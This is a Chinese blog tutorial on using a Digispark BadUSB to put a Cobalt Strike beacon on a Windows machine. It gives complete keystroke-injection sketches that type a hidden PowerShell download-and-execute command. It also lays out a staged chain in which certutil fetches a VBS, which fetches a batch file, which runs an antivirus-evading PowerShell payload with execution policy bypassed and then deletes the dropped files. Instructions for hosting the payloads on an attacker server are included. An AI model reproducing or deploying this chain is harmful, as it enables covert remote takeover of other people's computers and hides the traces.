❤️博客主页: iknow181
🔥系列专栏: 网络安全、 Python、JavaSE、JavaWeb、CCNP
🎉欢迎大家点赞👍收藏⭐评论✍
0x01 实验前提
攻击设备:badusb
cs服务器:公网部署了 cs 服务端
0x02 实验步骤
1.CS 设置
添加一个 监听器
生成powershell一句话上线的命令
复制生成的 powershell 命令
2.上传 badusb
打开Arduino IDE
复制如下代码进行验证(Verify),ino内写入以下代码
ps:我使用的是 Digispark,而不是标准的 Arduino 板。
#include "DigiKeyboard.h"
// 定义常量
#define KEY_ENTER 0x28
#define KEY_SHIFT 0xE1
#define KEY_CTRL 0x1D
#define KEY_CAPS_LOCK 0x39
void setup() {
DigiKeyboard.delay(3000); // 延时3秒
// 按下Win + R 打开运行框
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1000); // 增加等待时间,确保运行框弹出
// 输入命令 cmd 并回车
DigiKeyboard.print(F("cmd"));
DigiKeyboard.delay(500); // 延时以确保输入完整
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000); // 延时确保命令行窗口打开
// 输入法修正:按下Ctrl + Space切换到英文输入法
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_CONTROL_LEFT);
DigiKeyboard.delay(500); // 等待输入法切换
// 输入PowerShell命令,下载并执行远程脚本
DigiKeyboard.print(F("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.135:80/b'))\""));
DigiKeyboard.delay(500); // 延时以确保输入完整
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000); // 增加延时以确保命令执行时间充足
}
void loop() {
// 空函数,留空即可
}
然后会运行一次作为示例,再次返回CS,发现已成功上线
0x03 Badusb实现后台静默执行上线免杀CS 马
0.原因
免杀木马的意义就是绕过对方主机的一些策略。
比如如果对方的的权限过低,直接执行 ps1 的命令会显示拒绝访问。
又或者如果是让对方直接下载没有免杀的木马会被电脑发现可能是病毒文件拒绝执行。
1.制作免杀 cs 马
具体看我的免杀文章
【免杀】CS免杀——ps1免杀-CSDN博客
2.实现
a.开启 http
在你的 vps 上开一个 http 服务,把要利用的文件全放在该目录下,好让目标主机下载运行
可以使用apache 开一个网站,将文件放在网站根目录下。
apt-get install apache2
/var/www/html
service apache2 start
也可以创建一个专门放 shell 的文件夹,然后开一个 python 的 http 服务。
python3 -m http.server 8888
b.badusb 的代码
WIN+R打开运行窗口,通过打开CMD下载RUN.VBS,落地到D盘根目录后CMD关闭,并静默执行RUN.VBS
#include "DigiKeyboard.h"
// 定义常量
#define KEY_ENTER 0x28
#define KEY_SHIFT 0xE1
void setup() {
DigiKeyboard.delay(3000); // 延时3秒,等待目标系统准备
// 打开运行框:按下 Win + R
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1000); // 增加等待时间,确保运行框弹出
// 输入 cmd 并回车
DigiKeyboard.print(F("cmd"));
DigiKeyboard.delay(500); // 延时以确保输入完整
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000); // 延时确保命令行窗口打开
//利用开大写输小写绕过输入法
DigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK);
DigiKeyboard.delay(200);
// 输入 PowerShell 命令,下载并执行远程脚本
DigiKeyboard.print("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://192.168.1.1:8888/RUN.VBS d:\\RUN.VBS && timeout /t 1 && start /B d:\\RUN.VBS" ); //无回显
//DigiKeyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); //有回显
DigiKeyboard.delay(500); // 延时确保输入完整
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000); // 确保命令有足够的时间执行
DigiKeyboard.end();//结束键盘通讯
}
void loop() {
// 空函数,留空即可
}
c.落地文件
RUN.VBS
通过certutil命令远程下载POWERSHELL.BAT,落地到D盘根目录
静默执行POWERSHELL.BAT
set ws=WScript.CreateObject("WScript.Shell")
ws.Run "cmd /c certutil -urlcache -split -f http://192.168.1.1:8888/POWERSHELL.BAT d:\\POWERSHELL.BAT && start /B d:\\POWERSHELL.BAT",0
POWERSHELL.BAT
通过certutil命令下载POWERSHELL.PS1,落地到D盘根目录
考虑网络问题,下载POWERSHELL.PS1需要时间(测试的时候出现了执行速度太快,导致没下载完就直接执行了下一步),所以延时一秒
通过powershell后台静默执行POWERSHELL.PS1,至此CS上线
上线后立即删除R开头VBS文件
延时一秒(测试出现powershell执行速度太慢,没上线)
依次删除落地的恶意文件
@echo off
certutil -urlcache -split -f http://192.168.1.1:8888/POWERSHELL.PS1 d:\\POWERSHELL.PS1
TIMEOUT /T 1
start /B powershell.exe -executionpolicy bypass -file d:\\POWERSHELL.PS1
del "D:\RUN.VBS" /f /s /q
del "D:\POWERSHELL.PS1" /f /s /q
del "D:\POWERSHELL.BAT" /f /s /q
exit
POWERSHELL.PS1
使用之前写的免杀 cs 马
把这三个文件上传到网站,badusb一插入机器就上线了。
0x03 免责说明
本文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!